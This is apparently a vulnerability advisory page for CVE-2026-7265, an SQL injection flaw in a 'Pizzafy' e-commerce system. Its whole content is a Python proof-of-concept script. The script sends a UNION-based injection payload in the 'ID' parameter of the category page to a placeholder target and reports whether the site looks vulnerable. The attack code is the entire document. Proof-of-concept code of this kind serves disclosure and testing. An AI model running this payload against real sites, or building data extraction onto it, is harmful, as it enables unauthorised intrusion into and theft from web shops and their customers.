CVE-2026-7265: Pizzafy电商系统SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target_ip/pizza/index.php" # Malicious payload to test SQL Injection # Using a simple UNION based payload to test vulnerability payload = "1' UNION SELECT NULL, NULL, NULL, NULL, NULL-- -" params = { "page": "category", "ID": payload } try: response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print("[+] Potential SQL Injection vulnerability detected.") print("[+] Response Length:", len(response.text)) # Analyze response content to confirm data extraction else: print("[-] Request failed with status:", response.status_code) except Exception as e: print("[-] An error occurred:", e)